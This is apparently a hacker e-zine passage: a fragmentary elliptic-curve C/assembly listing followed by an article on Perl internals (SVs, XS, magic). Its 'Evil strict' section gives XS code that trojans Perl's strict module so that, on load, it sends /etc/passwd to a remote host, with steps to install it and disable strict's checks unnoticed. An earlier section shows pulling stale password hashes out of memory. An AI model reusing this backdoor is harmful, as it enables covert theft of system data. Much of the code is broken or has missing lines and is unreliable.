             js   _rshift_zero
             xor  ecx, ecx
             add  edi, eax
             mov  al,  byte ptr[edi+ecx]
             mov  byte ptr [esi+ecx], al
             inc  ecx
             cmp  ecx, ebx
             jl   _rshift_preloop
             mov  edi,esi
             add  edi,ebx
             pop  ecx
             mov  eax,ecx
             mov  byte ptr [edi+ecx-1],0
             loop _rshift_zloop
             shl  eax, 3
             sub  edx, eax
             jz   _rshift_done
        mov  ecx,SIZE_WORDS
        mov  edi,esi
        sub  edi,4
        shr  dword ptr [edi+4*ecx],1
        dec  ecx
        rcr  dword ptr [edi+4*ecx], 1
        loop _rshift_subloop
        dec  edx
        jne  _rshift_go
        mov  ecx,SIZE_BYTES
        mov  byte ptr [esi+eax],0
        loop _rshift_zloop2
} }

word* polyGen()  {
    return calloc(SIZE_WORDS,sizeof(word));

word* polyRand() {
    register int i;
    register word* p = calloc(SIZE_WORDS,sizeof(word));
    for (i=SIZE_WORDS-1;i>=0;i--) 
        p[i] = (rand()<<16) | rand();
    return p;

int deg(word *a) {
    __asm {
        mov edx, a
        mov ecx, SIZE_WORDS
        mov ebx, [edx+4*ecx-4]
        test ebx,ebx
        jnz _deg_done
        loop _deg_loop
        xor eax,eax
        jmp _deg_zero
        push 1
        fild dword ptr [esp]
        mov dword ptr [esp],0
        push ebx
        fild qword ptr [esp]

        fstcw word ptr [esp]  ; round down
        fstcw word ptr [esp+2]
        and word ptr[esp],0xF3FF
        or word ptr[esp], 0x400
        fldcw [esp]
        fldcw [esp+2]

        fistp qword ptr [esp]
        pop ebx
        pop eax
        mov eax,32
        dec ecx
        mul ecx
        add eax,ebx
        inc eax


__declspec(naked) int __fastcall polyCmp(word* a, word* b) {
    __asm {
        mov edi, ecx            ; edi=a/edx=b
        xor eax, eax
        mov ecx, SIZE_WORDS
        mov  ebx, [edi+ecx*4-4] ; ebx = a[n]
        mov  esi, [edx+ecx*4-4]    ; esi = b[n]
        test ebx,ebx
        jz   __a_n_zero
        test esi,esi
        jnz  __b_n_notzero
        inc  eax
        cmp  ebx, esi
        jz   __next_cmp
        jl   __lesser_cmp
        inc  eax
        dec  eax
        loop __loop_cmp
        test esi,esi
        jz   __next_cmp
        dec  eax
} }

__declspec(naked) int __fastcall polyIsZero(word* a) {
    __asm {
        mov edi, ecx            ; edi=a/edx=b
        xor eax, eax
        mov ecx, SIZE_WORDS
        cmp  [edi+ecx*4-4],0
        jne  __is_not_zero
        loop __iszero_loop
        inc  eax
} }

word* dup(word* a) {
    register word* b = polyGen();
    return b;

#ifndef _CURVE_H
#define _CURVE_H

#include "binfields.h"

// We will use, by default, the Koblitz Curve
// y2 + xy = x3 + 1

word*  pointMul(word* R, word* k, word* P);

word*  pointAdd(word* R, word* P, word* Q);
word*  pointDbl(word* R, word* P);
word*  pointNeg(word* P);
word*  pointZero(word* P);

int    isZero(word* P);
int    isValidPoint(word* P);
int    pointCmp(word* P, word* Q);

word*  pointDup(word* P);
word*  pointGen();
word*  pointGenZero();



#include <stdlib.h>
#include <memory.h>
#include "curve.h"

#define Y(__P) (&__P[SIZE_WORDS])
#define X(__P) __P

word PGEN[]= {

int isValidPoint(word* P) {

    // y2+xy=x3+1
    word t[SIZE_WORDS] = {0},
         l[SIZE_WORDS] = {0};

    polyMul(t,t,Y(P));  // left side

    l[0] ^= 1;          // right side

    return !polyCmp(t,l);

word* pointDup(word *P) {
    return memcpy(malloc(SIZE_WORDS2*sizeof(word)),P,SIZE_BYTES2);
int pointCmp(word* P, word* Q) {
    switch (polyCmp(X(P),X(Q))) {
    case 1: return 1;
    case -1: return -1;
    default: return polyCmp(Y(P),Y(Q));
} }

word* pointGen() { 
    word* P = malloc(SIZE_WORDS2 * sizeof(word)); 
    return memcpy(P,PGEN,SIZE_BYTES2);

word* pointGenZero() {
    word* pt = calloc(SIZE_WORDS2, sizeof(word));
    pt[SIZE_WORDS-1] = 1 << 31;
    return pt;

int isZero(word* P) {
    return (P[SIZE_WORDS-1]>>31);

word* pointZero(word* P) {
    P[SIZE_WORDS-1] = 1 << 31;
    return P;

word* pointDbl(word* R, word* P) {

    word t1[SIZE_WORDS] = {0};
    word t2[SIZE_WORDS];

    if (isZero(P)) 
        return (R==P)?R:memcpy(R,P,SIZE_BYTES2);

    else if (!polyCmp(t1,P)) return pointZero(R); 

    R[SIZE_WORDS] ^= 1;

    polySqr(t2,X(P));      // t2 = x2
    polyAddTo(t1,t2);      // t1 = x'
    return memcpy(R,t1,SIZE_BYTES);


word* pointNeg(word* P) {
    if (isZero(P)) return P;
    return P;

word* pointAdd(word* R, word* P, word* Q) {

    word l[SIZE_WORDS],

    if (isZero(Q)) {
        if (R==P) return R;
        else return memcpy(R,P,SIZE_BYTES2);
    } else if (isZero(P)) {
        if (R==Q) return R;
        else return memcpy(R,Q,SIZE_BYTES2);
    } else {

        if (!pointCmp(P,Q)) {
            return pointDbl(R,P);
        } else {
            word* N = pointNeg(pointDup(Q));

            if (!pointCmp(P,N)) {
                return R;
            } else free(N);

            polyAdd(l, Y(P), Y(Q));
            polyAdd(x, X(P), X(Q));
            polyDiv(l, l, x);

            polyAdd(y, x, X(P));
            polyMul(y, y, l);
            polyAddTo(y, x);
            polyAdd(Y(R), y, Y(P));

            return memcpy(X(R),x,SIZE_BYTES);

word* pointSub(word* R, word* P, word* Q) {
    word* N = pointNeg(pointDup(Q));
    return R;

word* pointMul(word* R, word* k, word* P) {

    register int i;
    word* Q = pointDup(P);

    for (i=deg(k)-1;i>=0;i--) {
        if ((k[i/32]>>(i%32))&1) 
            pointAdd(Q, Q,P);
    return R;

--------------------------------[   EOF   ]--------------------------------

[-----------------------------[ Breaking Perl ]----------------------------]

  .##################.__ __ __ __ _ _ __ __ 
  ##############/¯_`|#\ V  V // _` | '_/ -_)
  ##############\__,|# \_/\_/ \__,_|_| \___|
  *#########{   }####* 
     *############*       By: zshzn
       ¯==####==¯      Email: zshzn@hackaholic.org

-[ 0.0 ]---------------------------------------------------[ Contents ]-----

  1.0 Introduction

  2.0 The SV
    2.1 Introduction to SVs 
    2.2 Dual Types Challenge
    2.3 Data Recovery Vulnerabilities
  3.0 XS
    3.1 Introduction to XS
    3.2 Using XS
    3.3 Breaking undef
    3.4 The Perl API
    3.5 Evil strict

  4.0 Magic
    4.1 Introduction to Magic
    4.2 Changing Special Variables
    4.3 Our Own Magic
    4.4 A Magic JAPH

  5.0 Closing
    5.1 More Topics
    5.2 Sources
    5.3 Shouts

  6.0 Appendix - Flag.xs

-[ 1.0 ]-----------------------------------------------[ Introduction ]-----

This article is about perl internals. This article will teach you about how
things work and how to manipulate them. Hopefully this article will inspire
you to teach yourself further and take up the hobby. If you do not code
Perl, this could be a good time to start. If you do code Perl, this could be
a very important series of lessons that could give you a greater
understanding of the language.

The first thing to remember about Perl is that it is built with C. It is a
series of extensions creating a new language. C programmers maintain that
anything that can be done in Perl can be done in C. This is rightly so, and
backed by the very nature of perl, the fact that it is, after all, written
in C. However, any Turing-complete language can do what either can. Perl is
significantly different from C to an extent that it must be viewed as
unique. However, the connection is central to this article, and it is this
connection that we explore.

Within the context of this topic I refer to a "user" as someone using Perl
to program. The user gets to use Perl as a tool, without knowing how it is
implemented and how it works. You only need to know how to manage the
features available.

Perl embraces a level of abstraction. This abstraction lives in its core and
is used through every increasing level. To emulate Perl directly in C, this
abstraction has to be done. To emulate advanced features one either
implements directly, uses a library, or does not implement at all. One
example is using regular expressions. In C you can use PCRE, Perl Compatible
Regular Expressions. It's a rather large library. This represents a direct
abstraction away from the simplicity of C. However, one is still very
limited. Although PCRE allows much more than one would sensibly implement
individually in C, it falls far short of Perl's regular expressions.
Usually, a C coder will not use regular expressions at all, and will limit
their programming to the tools they have available. C lacks the elemental
high level required to allow regular expressions that are more than a shadow
of Perl.

-[ 2.0 ]-----------------------------------------------------[ The SV ]-----

---[ 2.1 ]-------------------------------------[ Introduction to SV's ]-----

So how does Perl do it? The very base of Perl is the SV. An SV is a Scalar
Value. It is a structure that can hold a selection of a type of values,
including various other relevant data. In basics, SVs can store integers,
doubles, and strings. The code managing SVs can be found in sv.h and sv.c,
which makes up a large percentage of the overall perl code. 

Taken directly from sv.h:

struct STRUCT_SV {      /* struct sv { */
    void*   sv_any;     /* pointer to something */
    U32     sv_refcnt;  /* how many references to us */
    U32     sv_flags;   /* what we are */

Please note that I am taken definitions from perl 5.8.8, the latest stable
version of perl. I realize that between then and now, perl 5.9.3, the
current development version, they have messed with some things, and overall
structures are a little bit more complicated. Also note that I refer to it
as "perl" when talking about the source code and application. The language
is "Perl", capitalized. I may capitalize perl to start a sentence. I also
may at times make the mistake of extracting from perl 5.9.3 instead of
5.8.8, depending on which machine I am on and my level of patience.

================================================== Obscure Reference Note ==

Please note that perl 5.9.3 does NOT mean we are seven updates away from
perl 6. You know what we are seven updates away from? perl 5.10. And it
looks to be coming along pretty nicely. Perl 6 is kind of here already, in
PUGS form, but the official, Parrot-based form is a while off, if it is
coming at all. 


Obviously sv_refcnt is just a number, usually 1. When this hits 0 we expect
our SV to disappear, it no longer exists to us. If some secondary SV is a
reference to an original one, we can make sure our SV doesn't disappear when
we still want it. This is Perl's reference-based garbage collection. The
first three bytes of sv_flags hold 24 one-bit flags. These define what types
of data it holds, how we are to use it, and a lot of little things that
usually aren't used. They are #define'd in quite an ugly block early in
sv.h, and I shalln't repeat them here in original form for that reason. 

The last byte of sv_flags represents the type of SV. This is crucial for
sv_any. IVs are integers, NVs are doubles, RVs are references, PVs are
strings. PVIV/PVNV are combinations, and everything else you don't want to
worry about right now.

typedef enum {
    SVt_NULL,   /* 0 */
    SVt_IV,     /* 1 */
    SVt_NV,     /* 2 */
    SVt_RV,     /* 3 */
    SVt_PV,     /* 4 */
    SVt_PVIV,   /* 5 */
    SVt_PVNV,   /* 6 */
    SVt_PVMG,   /* 7 */
    SVt_PVBM,   /* 8 */
    SVt_PVLV,   /* 9 */
    SVt_PVAV,   /* 10 */
    SVt_PVHV,   /* 11 */
    SVt_PVCV,   /* 12 */
    SVt_PVGV,   /* 13 */
    SVt_PVFM,   /* 14 */
    SVt_PVIO    /* 15 */
} svtype;

sv_any is a pointer towards more data. This data is usually another
structure. Before we get directly into sv_any, I would like to explain and
discuss a little bit more.

Despite the ability that an SV represents, we can already see the resource
use involved. Even discarding the other side of sv_any for the moment, we
are allocating 12 bytes to this SV. Four bytes alone to a variable that
usually just holds the value 1. It may seem outragious in the case of an
integer, but it scales well. Let's give an example of an SV. For debugging
output in Perl I use Devel::Peek::Dump and otherwise I use Perl_sv_dump,
which is the precise function wrapped by Dump. Here's an example of a simple

bash-3.00$ perl -MDevel::Peek -e '$c = 12; print Dump $c'
SV = IV(0x81420ec) at 0x812f4d8
  REFCNT = 1
  IV = 12

The SV type, as stored in the last byte of sv_flags, holds the value 1,
representing an IV, which is an integer value. The flags set are IOK
(integer OK) and pIOK (private integer OK, don't worry about this one yet).
The actual number it stores is 12. Here, have a string example.

bash-3.00$ perl -MDevel::Peek -e '$c = "wer"; print Dump $c'
SV = PV(0x812f9d8) at 0x812f4d8
  REFCNT = 1
  PV = 0x813d128 "wer"\0
  CUR = 3
  LEN = 4

This one is a PV, Pointer Value (String Value, SV, is already taken
obviously). Type value 4. Flags POK and pPOK. Value "wer", and it is null
terminated to be safe for C functions. CUR is the length of the data itself,
LEN is the length of the data space delegated for it. This will not always
be just one more than CUR.

Let's get into some fun.

bash-3.00$ perl -MDevel::Peek -e '$c = 12; $c = "wer"; print Dump $c'
SV = PVIV(0x81309e8) at 0x812f4d8
  REFCNT = 1
  IV = 12
  PV = 0x813d130 "wer"\0
  CUR = 3
  LEN = 4

Notice anything odd? We have BOTH an IV and a PV. This is not an IV or a
PV, this is a PVIV, type 5. However, it will always be treated as a string,
because POK is set, and IOK is not. 

================================================== Obscure Reference Note ==

I could use $a as a test variable. Or $b. But I am trying to avoid that.
Why? Because they are special. Not very special, but I don't want to get
caught on anything funky. And I also do not want to confuse any readers,
who might explain odd behavior, incorrectly, on the fact that I am using
$a or $b. $a and $b are used internally by sort(), and the key difference
is that they don't have to be declared with "my" to work under strict.
Otherwise they are normal.


---[ 2.2 ]-------------------------------------[ Dual Types challenge ]-----

Recently I tempted people with the following:

bash-3.00$ perl test.pl

This is what you're about to see:

use strict;
use Flag qw(int_me);
my $i;
print "Insert a number: ";
chomp($i = int(<STDIN>));
$i = "This is a string";
print '$i = ', $i, "\n";

Insert a number: 1337
$i = 1337 

Please note that the above, excluding the prompt lines, is the output of a
program. The program itself is that code, plus a bit of code to print that.
In the above case you are prompted for a number, and then the program prints
it. At first people ask where they can find Flag. I tell them they can't,
it's homegrown, after all that is the trick. They wonder if it is a syntax
trick, or if int_me() just assigns 1337 to $i. However I assure them it is
neither. I allow the user to submit an integer to $i. I have to int() this,
because otherwise <STDIN> returns a string of course and this ends up in PV
and $i is a PV. Due to the int() $i is a regular IV, with an IV value and
flags IOK and pIOK. I then change the value of $i. Then I do something
special in int_me(), and suddenly not only is $i a number, but is the exact
number the user inputted originally, despite the impression that that number
should have disappeared. 

bash-3.00$ perl -MDevel::Peek -e '$c = <STDIN>; print Dump $c'
SV = PV(0x812f9d8) at 0x812f4d8
  REFCNT = 1
  PV = 0x81431d8 "1337\n"\0
  CUR = 5
  LEN = 80
bash-3.00$ perl -MDevel::Peek -e '$c = int(<STDIN>); print Dump $c'
SV = IV(0x81420f4) at 0x812f4d8
  REFCNT = 1
  IV = 1337

The above examples show the necessity behind the int() wrapper around
<STDIN>. What int_me() does is change flags from POK to IOK, and Perl will
thereafter access the IV value instead of the PV value. This cannot be done
in Perl itself, how I do so will be explained later. By the way, I of course
wrote stringify() and double_or_nothing() to go with int_me(). All of my XS
examples in this document can be found in Appendix A.

Why do we save the excess values, especially if we cannot use the old values
again? Because otherwise we would have to reallocate the structure, and that
usually would not be worth it. It would be worth it perhaps when going from
a very long string to something else, however doing that itself is a bad use
of a variable, both for clarity and for this reason. As well, the memory
freed might not be useful anyways. 

================================================== Obscure Reference Note ==

Yet again, a perl user should not have to worry about perl internals. Perl
is a high-level language, the user optimally should not have to be aware of
how everything is implemented. In Perl, things work as expected. So, using a
very long string in a variable and then assigning that variable to a small
string or a number, thereby using excessive memory, should not be held
against a user on that basis. The user does not have an obligation to know
that. However, as mentioned above, it could perhaps be held against the user
for poorly using variables, or doing so in an illogical fashion.


So back to sv_any. It is just a pointer towards more data, the data
structure applicable. In the above dual variable case, a PVIV system, this
is the structure:

struct xpviv {
    char *  xpv_pv;     /* pointer to malloced string */
    STRLEN  xpv_cur;    /* length of xpv_pv as a C string */
    STRLEN  xpv_len;    /* allocated size */
    IV      xiv_iv;     /* integer value or pv offset */

Very simple. As you can realize, an xpv is just that minus the IV field.
These structures can easily be interpreted by Perl functions, because they
recognize the type value of the sv_flags member of the host structure. As
well, they are generally designed as extensions of more base SV types.

SVs can scale to hold numbers, strings, globs, and a shitload of weird
things that you do not want to trouble your mind over right now. The other
main Perl data types are AVs and HVs. Those are Array Values and Hash Values
respectively. Both are more complicated structures, but in essence they act
as lists of SVs. The SV is the base of the language, and it in itself is
what makes Perl a much higher level language than C.

---[ 2.3 ]----------------------------[ Data Recovery Vulnerabilities ]-----

You may be reading this with some expectation of something to gain,
security-wise. I mean, why learn something if it can't help you hack? Fun?
What's that? Anyways. There are some obscure tricks that could come up from
this unexpected behavior. If you have code access, even limited, you might
be able to "use Devel::Peek; print Dump $important_var;". A good example
could be one of the many Perl shells out there. Perhaps it drops privileges
after authorization but not the current interpreter, naturally. Perhaps
there are some variables that have an important value that they thought they

print "login: ";
chomp(my $user = <STDIN>):
print "password: ";
chomp(my $password = <STDIN>);
$hashed = get_hash($user);
set_user($user) if hash($password, $hashed); 
$hashed = 0; #bye bye hashed password from /etc/shadow!
print $motd;

Something along that line, just not as silly and a bit more complicated. 

================================================== Obscure Reference Note ==

psh, the Perl SHell, the popular one that occupies sourceforge under that
name, is a highly advanced shell. It includes over 10,000 lines of Perl and
has been long in the making. Do not expect such simple code or foolish
mistakes from them. I am just giving examples here. Then again, I'm not
giving an express guarantee that they don't have foolish mistakes. Just
don't expect it. 


Obviously you can access $hashed and recover the root password hash,
regardless of success or not. Naturally you might want to avoid this by
undef()ing your variable first. In this case, that works. However, it turns
out undef() doesn't entirely remove the variable, nor the IV or NV value,
nor the type value, just the PV and any flags. So if it was an important
number that was saved, say, in the event of RSA key generation, it could be

bash-3.00$ perl -MDevel::Peek -e '$c = 5; undef $c; print Dump $c'
SV = IV(0x81420f4) at 0x812f4d8
  REFCNT = 1
  FLAGS = ()
  IV = 5
bash-3.00$ perl -MDevel::Peek -e '$c = 5; $c = 5**50; undef $c; print Dump
SV = PVNV(0x8131e08) at 0x812f4d8
  REFCNT = 1
  FLAGS = ()
  IV = -1
  NV = 8.88178419700125e+34
  PV = 0

Funky shit eh? You'd think they would go all the way. If you really, really,
want to clear the values in a variable, here is some code that does so. But
you'll have to read further to find out how to use it.

SV *
    SV* scalar
        sv_setiv(scalar, 0);
        sv_setnv(scalar, 0);
        sv_setpv(scalar, "");
        scalar->sv_flags = 0;

Or you can use the Perl API, which is a smarter idea, with sv_clear or

Alternatively, if you need to revert the value back to a string or an
integer, you would need enough access to setup a relevant module (more on
this below), and use int_me(), stringify(), or something of that sort.

These might seem obtuse. Very obtuse. But they are the kind of tricks that
it is good to have in your pocket. Those tricks add up, and eventually pay
themselves back.

-[ 3.0 ]---------------------------------------------------------[ XS ]-----

---[ 3.1 ]---------------------------------------[ Introduction to XS ]-----

<fish> is it my fault that we're all about guts now?

XS is, well, a glue language of its own. Basically it is a way to use C in
Perl, and XS is mostly C code wrapped with flags telling xsubpp how to put
it together. We use XS to do two things. The first is to write functions in
C for things that we would rather not do in Perl, yet we still need to use
in Perl. The second is to mess with Perl internals themselves. The xsubpp
compiler generates a library that can be loaded in Perl modules. XS converts
Perl arguments to C arguments, executes the C function, and returns values
to Perl. It can do a few tricks too, but that is the gist of it.

I would not want to keep you waiting. Have some more XS, the card up the
sleeve of the int_me() trick.

int_me(SV* scalar)

Most of that is self-explanatory. You may ask, "but zshzn, doesn't this just
wrap another function of yours, SvIOK_only(SV* scalar), and you really
haven't shown us anything???" and I will respond "no". SvIOK_only is an
internal function, part of the Perl API, and I will get to that later. The
line-break after "SV*" is needed. Paramaters can be put in either that
format or K&R style.

The earlier example (sv_my_clear) is easy to explain as well. I use three
internal functions to safely change the IV, NV, and PV values stored, and
then I directly set sv_flags to 0.

You may want a slightly more volumous example. Below is a complete file, we
will call it Flag.xs. This is my Flag module. Calm down Stephen Harper, I
said FLAG module.

================================================== Obscure Reference Note ==

Stephen Harper is, at the time of writing, the current Prime Minister of
Canada. He is a bit more "right wing" than most successful Canadian
politicians. He draws comparisons to George Bush Jr. here. However he is
much less "right wing" than the centre-left of the American Democratic
party. Regardless, jokes abound. In a recent television commercial, famous
Canadian political comedian Rick Mercer said "Today is Flag day. Calm down
Stephen Harper, I said FLAG day." suggesting that Stephen Harper would be
upset by a supposed "Fag day" supporting homosexual rights. Or something.
Yea, the joke wasn't too good in the first place, and my copy is just that
much worse. But if I didn't say anything about it here, you might be lead to
guess that I wrote something witty and specific. So just go with that.


#include "EXTERN.h"
#include "perl.h"
#include "XSUB.h"
#include <math.h>
#define DEBUG 0 


SV *
sv_rm_flag(scalar, flag)
    SV* scalar
    char* flag

 char flags[24][10] = { 
    "PADMY",    "TEMP", 
    "IOK",      "NOK",
    "POK",      "ROK",
    "FAKE",     "OOK",
    "BREAK",    "READONLY",
    "IOKp",     "NOKp",
    "POKp",     "SCREAM",
int i, j;
for (i = 0; i < 24; i++) {
    if ( strEQ(flag, flags[i]) ) {
        j |= (int)pow(2,i+8);
        j = ~j;
        scalar->sv_flags &= j;
if ( DEBUG ) {  
    printf("[ %u ]\n",scalar->sv_flags );

Part of the way that is formatted is crucial. Everything before the first
MODULE flag is raw C and you can write direct C functions, and everything
afterwards has to be XS-style. There has to be some spacing before the first
line of code in the CODE section. There doesn't always have to be a CODE tag
but I like to include it. Empty lines are not always allowed, thus my tight
packing. The code itself is simple enough, so I have abstained from
commenting. If I was to comment, I can use Perl's pound sign for a whole
line, or C commenting otherwise. Mostly that is C, very direct. strEQ() is
another Perl API function, similar to strcmp(). What this function,
sv_rm_flag(), does, is remove a specific flag. Based on the string you
enter, it removes the corresponding flag. The included headers are essential
for XS, except for math.h which is only needed for pow() in this case. I
define the module and package as Flag, because I wanted to mess with SV

---[ 3.2 ]-------------------------------------------------[ Using XS ]-----

You may be wondering how to actually write and include XS code. As mentioned
above, you make a .so that can be dynamically loaded into Perl. You could
also create a static library and build Perl again with it, if you really
wanted to. We load this dynamic library with a Perl module. We use the
program h2xs, in this case, mostly to build a makefile for us. h2xs means
header to XS, it is designed to take a C header file and create XS for us.
Then we could mess with that code to make it more Perl-friendly. For example
to put return values directly on the Perl stack, or to work directly with
SVs instead of other variables. There are lots of reasons why one would want
to modify C code to use it with Perl. In our case, however, we are not doing
that. We are creating our XS entirely. So we just do not provide h2xs with a
header to work from.

h2xs -A -n Flag

Now we have a directly, ./Flag, with some stuff in it. We put our XS code in
Flag.xs and our module is Flag.pm

package Flag;

require Exporter;
require DynaLoader;
our @ISA = qw(Exporter DynaLoader);
@EXPORT_OK = qw / int_me /;
our $VERSION = '0.01';
bootstrap Flag;

That there is my Flag.pm. For those of you not familiar with Perl modules,
almost everything there is very normal. We define our package, for the Perl
namespace. We use Exporter, which allows us to export easily to another
namespace. Consider this how we get our subroutines "out" of the module and
into your program. @EXPORT is an array of symbols to export automatically,
@EXPORT_OK is a list of symbols to export on request. It is considered bad
form most of the time to export by default. We define a version. The "1;" at
the end of the module is important, it is like "return 1;", and a module
must return success. In a regular module we would have our subroutines
between the meta-information and the "1;" at the end. In this case, however,
we use bootstrap() from DynaLoader, which does a lot of work in itself, and
ultimately calls dl_load_file($filename, $flags) which is implemented in C.
This is what actually loads our object file. 

perl Makefile.PL

If we want to use this for testing we can create a little .pl in our working
Flag dir (or do proper tests in /t):

use ExtUtils::testlib;
use Flag;
$a = 1234;
$a = "omg hax";
print $a;

You know, that kind of thing. If you want to use it natively in your Perl
scripts, make install, or manually export the files where you need them. For
the .pm that is in @INC directories and the .so needs to find it's way into
a proper auto/ directory, off an @INC.

---[ 3.3 ]-------------------------------------------[ Breaking undef ]-----

Hey, let's take undef, and break it. Oh yeah. 

undef is defined as this in embedvar.h:

#define PL_sv_undef (vTHX->Isv_undef)

and as this in perlapi.h:

#define PL_sv_undef (*Perl_Isv_undef_ptr(aTHX))

So you can be assured it is one of those two.

Either way it seems to emulate a small SV.

This is used a lot in perl, in much the same way we do in Perl:

if (sv == &PL_sv_undef) {


sv = &PL_sv_undef;

By the way, although in my examples I tend to name my SVs as 'scalar', perl
usually uses 'sv'.

Take a look at its organs:


SV = NULL(0x0) at 0x812bf98 
  REFCNT = 2147483439

There are a few things to note ábout that. First of all, notice that we are
quite a bit up memory from our normal variables. Secondly, that's one
fucking large REFCNT. That is so it will never disappear on us. And, the
only flag set is readonly, and the type is 0, presumably to make sure no
functions fuck with it when it comes around. The address means that this is
defined much earlier in our process, and that we cannot add to it in-place
because we overwrite and segfault. Thus, my first attempt didn't work:

((SV*)&PL_sv_undef)->sv_flags = 67311012;
sv_setpv((SV*)&PL_sv_undef, "happy");

So what shall we do? We'll create a new SV and point PL_sv_undef at it.

    SV* mirror = newSVpv("happy", 5);
    mirror->sv_refcnt = ((SV*)&PL_sv_undef)->sv_refcnt; /* I could be
more naughy and ignore this too, but hey, undef is destroyed either way */
    PL_sv_undef = *mirror;

Great! Now I can break any code that uses undef in any way. I like to break
code and see what happens.

---[ 3.4 ]---------------------------------------------[ The Perl API ]-----

Now you know enough XS to know how to do things. Especially if you know C.
You know how to use that XS in your Perl program. And you have enough
knowledge of Perl datatypes to mess with them. You're all set! But wait, you
aren't. Here we have to have a little talk about the Perl API. 

You might want to, for example, change an SV's data or something of that
sort. However, doing so manually, and properly, would require various checks
to find out just what kind of data it contains. You and I are likely to mess
that up. It's natural. Especially with a gross underestimation of the
complexity and variety of SV types. Thankfully, this work has been done for
us. The application has a very extensive API, a lot of it built up upon
various levels, to make things very easy for developers. There really is a
lot that needs to be done to make sure things work right. I personally might
bypass this in a lot of the code here, but I'm also mostly interested in
exploring and breaking. For serious work, the Perl API is perfect. I would
just like to detail some relevant functions.

You can create a new SV like this:

SV* scalar = newSV(0); // empty, allocated zero bytes
SV* scalar = newSV(100); // empty, 100 allocated bytes
SV* scalar = newSViv(100); // new IV (integer), with value 100 
SV* scalar = newSVpv("happy", 5); // if you still need an explanation... 

We can change current values similarly:

sv_setiv(scalar, 100);
sv_setpv(scalar, "happy");

We access the values as so:

SvNV(scalar); //etc

SvPV(scalar, len);

Please note that you provide a STRLEN type and SvPV will assign the length
of the string into it. Note that STRLEN == MEM_SIZE == Size_t. Here, better

STRLEN length;
printf("My string is \"%s\" and its length is %d\n", 
        SvPV(scalar, length), length);

When it comes to reference counts, we can modify them like this:

SvREFCNT(scalar); // returns current value
SvREFCNT_inc(scalar); // increase by one
SvREFCNT_dec(scalar); // decrease by one

Notice that you are expected to alter reference counts in single increments
or decrements. Darn.

Something that hasn't come up here yet, but which is important once you
really get into XS, is the mortality of variables. Basically we don't want
to have the equivalent of a memory leak in a function, where we temporarily
use a variable but it's reference count doesn't expire due to odd

SV* scalar = sv_newmortal(); // create a new mortal variable 
sv_2mortal(scalar); // mortalize an existing SV
SV* scalar = sv_mortalcopy(otherscalar); // Make a mortal copy of an
existing scalar

We have functions to manipulate type, as seen before.
SvIOK(scalar); // returns true if is IOK
SvIOK_on(scalar); // set the IOK (and pIOK) flag on
SvIOK_only(scalar); // set IOK (and pIOK) on and turn others off

That is about as far as I want to get into the API at the moment. 

---[ 3.5 ]----------------------------------------------[ Evil strict ]-----

Time for some more fun. This really does not involve much Perl or Perl API.
We are going to make strict call home. strict is the common pragma that any
decent Perl program calls immediately. In this example case, we will get it
to connect, on our owned box, to somewhere special and dump /etc/passwd.
Naturally, you can insert DNS code if you want and send a file other than
/etc/passwd, presumably something useful. Imagine you have some sniffing
script running and you want to send out its latest data. Or something. We
are hiding malicious code in a loadable object that we will have called
whenever someone uses strict. It might not be the cleanest method, but it is
less noticable than a cron job or any number of other methods, and our evil
code is relatively hidden, in a .so. Of course we could just write the code
in Perl in strict.pm, but that would be more obvious.

This is our XS:

#include "EXTERN.h"
#include "perl.h"
#include "XSUB.h"
#include "ppport.h"

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define DEST_IP   ""
#define DEST_PORT 1347 

MODULE = strict PACKAGE = strict

    int sockfd;
    struct sockaddr_in dest_addr;
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    dest_addr.sin_family = AF_INET;
    dest_addr.sin_port = htons(DEST_PORT); 
    dest_addr.sin_addr.s_addr = inet_addr(DEST_IP);
    memset(&(dest_addr.sin_zero), '\0', 8);  
    if( connect(sockfd, (struct sockaddr *)&dest_addr, 
            sizeof(struct sockaddr)) != -1 ) { 
        char s[100];
        FILE* f;
        while (fgets(s, 100, f) != NULL) { 
            send(sockfd, s, strlen(s), 0); 

The one odd thing you should notice is the BOOT tag. That is crucial. It is
how we execute code upon loading, and not just in functions. So, if that is
our XS, we need our strict.pm. You may notice that I do not do any error
reporting. Ask yourself, do I WANT to make this visible at all?

h2xs -A -n strict
cp xsfromz.xs strict/strict.xs
cd strict
perl Makefile.PL

And, make sure your version is 1.03, to match strict. And, if anything there
didn't work, fix it. Right. Now we copy our strict.so file to a proper auto
directory in @INC, Then, we need to modify the proper strict.pm to use our
code. Add your require lines at the top and include the @ISA line. Shortly
after the version do a "bootstrap strict;". There is one last thing you need
to change: strict.pm creates a @wrong array and dies if it ends up with any
members. Either comment out the "push @wrong" line, or the death block, or
change the condition. Whatever. Just note that if you don't, strict dies.
Yes, this will cause strict to inexpicably not fail when called incorrectly.
But when does that happen? And who will be curious and educated enough to
find out why? Blame DynaLoader.

So there you have it. Malicious code hidden behind the guise of our
friendly, non-evil strict. 

-[ 4.0 ]------------------------------------------------------[ Magic ]-----

---[ 4.1 ]------------------------------------[ Introduction to Magic ]-----

Put your cards away rattle. I'm talking Perl magic. That's a technical term.
Why do we call it magic? Because it does magic, and it makes a lot possible.
Magic makes the impossible possible. It is how perl implements many special
variables, tied variables, internal features, and who knows what else. With
magic we can make something happen when a variable is called or when it is
changed. That's the gist of common use. When you get deep into mg.c, you
will notice it is implemented magically too. 

For these various reasons, perl has an SV type called magic. PVMG. You may
recognize this as type 7 of our list. It is just like a PV, except it has
two more members. One of these is a pointer towards another structure, a
MAGIC structure. 

================================================== Obscure Reference Note ==

The Perl function "tie" is the Perl 5 magic that makes OOP much more of a
feasible reality. Basically it ties a variable to a class. Getting this to
happen took a lot of internal mucking. But when it did, we could begin to
satisfy the OOP fanatics among us. 


<Limbic_Region> ok, then you know that the people who grok that shit are
socially stunted, right

This is our magic structure, that xmg->magic points at.

struct magic {
    MAGIC*  mg_moremagic;
    MGVTBL* mg_virtual; /* pointer to magic functions */
    U16     mg_private;
    char    mg_type;
    U8      mg_flags;
    SV*     mg_obj;
    char*   mg_ptr;
    I32     mg_len;
The first item in the magic structure is a pointer towards another magic
structure, mg_moremagic. So yes, we have a potential linked list of magic
structures. When perl interprets a magic SV it goes through all of the
items. Have a very relevant example taken from mg.c 

Perl_mg_set(pTHX_ SV *sv)
    const I32 mgs_ix = SSNEW(sizeof(MGS));
    MAGIC* mg;
    MAGIC* nextmg;

    save_magic(mgs_ix, sv);

    for (mg = SvMAGIC(sv); mg; mg = nextmg) {
    const MGVTBL* vtbl = mg->mg_virtual;
    nextmg = mg->mg_moremagic;  /* it may delete itself */
